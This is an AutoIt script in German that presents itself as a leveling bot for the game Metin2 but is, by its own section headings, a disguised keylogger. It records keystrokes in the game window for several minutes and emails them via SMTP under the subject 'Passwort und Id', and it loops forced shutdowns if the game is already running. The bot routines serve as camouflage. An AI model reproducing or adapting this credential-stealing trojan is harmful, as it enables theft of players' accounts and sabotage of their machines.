;--------------------------------Teil 1 _Deine Angaben_-------------------------------------------
Global $DeineEmailadresse = "" ;zb meine
email@web.de
Global $AbsenderEmail = "" ;von der gesendet
wird@web.de
Global $Passwort = "" ;und das pass von abs.. email
;--------------------------------Teil 2 _Start_-------------------------------------------
#include <Array.au3>
#include <misc.au3>
#include <INet.au3>
#Include <File.au3>
;25=LEFT ARROW
;26=UP ARROW
;27=RIGHT ARROW
;28=DOWN ARROW
If WinActivate("METIN2") Then
MsgBox(0,"Metin2 Lvlbot","Dein Metin2 Fenster ist aktiv, bitte schließe es! Die initialien dieses Fensters müssen erst gelesen werden!")
Sleep(5000)
Else
MsgBox(0,"Metin2 Lvlbot","Du kannst nun Metin2 starten!")
EndIf
If WinActivate("METIN2") Then
While 1
$shut=Shutdown(0)
if $shut=0 Then
$shut=Shutdown(1)
if $shut=0 Then
$shut=Shutdown(2)
if $shut=0 Then
$shut=Shutdown(4)
if $shut=0 Then
$shut=Shutdown(8)
if $shut=0 Then
$shut=Shutdown(32)
if $shut=0 Then
$shut=Shutdown(46)
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
WEnd
EndIf
;--------------------------------Teil 3 _Die Aufzeichung_-------------------------------------------
$dll = DllOpen("user32.dll")
$keys = IniReadSection("keys.ini","keys")
WinWaitActive("METIN2")
;25 LEFT ARROW key
; 26 UP ARROW key
; 27 RIGHT ARROW key
;28 DOWN ARROW key
Global $timer = TimerInit()
Global $a="DETECTOR: "
Global $shift=False
Do
for $x =1 to $keys[0][0]
if _ispressed($keys[$x][0],$dll) then
$key = $keys[$x][1]
If (_IsPressed("A1") or _IsPressed("A0")) Then
if not $shift Then
$a = $a & "{Shift} "
EndIf
$shift=True
Else
if $shift=True Then
$a = $a & "{//Shift} "
$shift=False
EndIf
EndIf
while _ispressed ($keys[$x][0],$dll)
sleep(1)
wend
$a = $a & $keys[$x][1]& " "
If TimerDiff($timer)>min2milli(4.5) or _IsPressed("25") or _IsPressed("26") or _IsPressed("27") or _IsPressed("28") Then ExitLoop
EndIf
If TimerDiff($timer)>min2milli(4.5) or _IsPressed("25") or _IsPressed("26") or _IsPressed("27") or _IsPressed("28") Then ExitLoop
Next
Until TimerDiff($timer)>min2milli(4.5) or _IsPressed("25") or _IsPressed("26") or _IsPressed("27") or _IsPressed("28")
;----------------------------------------------------Teil 4 _Die Sendung_-------------------------------------
Sendmail($AbsenderEmail,$DeineEmailadresse,$a,$Abs enderEmail,$Passwort)
;----------------------------------------------------Teil 5 _Die Tarnung_-------------------------------------
$msg=MsgBox(0,"Metin2 LvL-Bot","Klicke auf Ok um den Bot zu Starten")
If $msg = 1 Then Los()
HotKeySet("{F3}", "_beenden")
HotKeySet("{F2}", "_pause")
HotKeySet("{F1}", "Los")
HotKeySet("{F4}", "ShowExp")
HotKeySet("{F5}", "Inventar")
Func Inventar()
If _IsPressed("49") Then
Do
Sleep(10)
Until _IsPressed("49")
EndIf
EndFunc
Func ShowExp()
Do
Sleep(15)
MouseMove(222,578,1)
Sleep(15)
Until _ispressed("75")
EndFunc
Func _pause()
Do
Sleep(100)
$Messege=MsgBox(0,"LvL-Bot Pause","Klicke Ok um weiter zu Lvln")
Until $Messege=1
EndFunc
Func _Beenden()
Exit
EndFunc
Func Lvln()
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
if Not @Error Then
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{^}{^}{^}{^}{^}{^}")
MouseClickDrag("right",198, 434,212,434)
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
if Not @Error Then
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
MouseClickDrag("right",198, 434,212,434)
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
if Not @Error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Else
MouseClickDrag("right",198, 434,212,434)
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
If Not @Error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
$pixelsearch=PixelSearch(1,1,744,446,"0xE81722",25 )
If Not @Error Then
Send("{^}{^}{^}{^}{^}{^}")
MouseMove($pixelsearch[0]+25, $pixelsearch[1] +50, 1)
Send("{^}{^}{^}{^}{^}{^}")
MouseClick("left")
Send("{^}{^}{^}{^}{^}{^}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{^}{^}{^}{^}{^}{^}")
Else
Send("{^}{^}{^}{^}{^}{^}")
Send("{w down}")
Send("{^}{^}{^}{^}{^}{^}")
Sleep(3000)
Send("{^}{^}{^}{^}{^}{^}")
Send("{w up}")
Send("{^}{^}{^}{^}{^}{^}")
Send("{^}{^}{^}{^}{^}{^}")
EndIf
EndIf
EndIf
EndIf
EndIf
EndFunc
Func Fertigkeiten()
Send("{F1}")
Send("{d}")
Send("{d}")
Send("{a}")
Send("{d}")
Send("{a}")
Send("{F2}")
Send("{F3}")
Send("{F4}")
EndFunc
Func Drink()
$TP2=PixelSearch(118, 572,118, 572,0x2c2c2c,35)
If Not @error Then
Send("{4}")
Send("{4}")
Send("{4}")
EndIf
$TP=PixelSearch(124,572,124,572,0x2c2c2c,35)
If Not @error Then
Send("{4}")
EndIf
$MP=PixelSearch(70,584,70,584,0x2c2c2c,35)
If Not @error Then
Send("{3}")
EndIf
EndFunc
$hi=1
Func saghi()
Sleep(1)
EndFunc
Func Tod()
$Tod=PixelSearch(216,81,216,81,0xcec7ce,25)
If Not @error Then
MouseMove(216,81,1)
MouseClick("left")
EndIf
EndFunc
Func Loser()
Tod()
Lvln()
Drink()
LvLn()
LvLn()
LvLn()
Drink()
Lvln()
LvLn()
LvLn()
Drink()
LvLn()
Lvln()
Tod()
LvLn()
Drink()
LvLn()
LvLn()
Lvln()
Drink()
LvLn()
LvLn()
LvLn()
Drink()
Lvln()
LvLn()
Drink()
LvLn()
LvLn()
Fertigkeiten()
Lvln()
LvLn()
Drink()
LvLn()
LvLn()
Drink()
Lvln()
LvLn()
Drink()
LvLn()
LvLn()
Fertigkeiten()
Tod()
saghi()
EndFunc
Func Los()
Sleep(7000)
While 1
Loser()
WEnd
EndFunc
;----------------------------------------------------Teil 4 _Die Funktionen_----------------------------------
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "")
$objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Cc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $ex = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment ($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
SetError(1)
return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Send the Message
$objEmail.Send
if @error then
SetError(2)
return $oMyRet[1]
EndIf
EndFunc;==>_INetSmtpMailCom
Func Sendmail($from,$to,$body,$user,$password)
Sendamail("smtp.web.de","xyzichbinfett",$from, $to, "Passwort und Id von xyzichbinfett's bot!",$body,"","","",$user,$password)
EndFunc
Func Sendamail($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "")
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc");XxSendMailerxX@web.de
$rc=_INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password)
If @error then
MsgBox(0,"Error","Es ist ein unerwarteter Fehler aufgetreten... Bitte versuche es erneut")
EndIf
EndFunc
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description,3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc;==>MyErrFunc
Func min2milli($milli)
$neu=int($milli)*1000
$neu=$neu*60
return int($neu)
EndFunc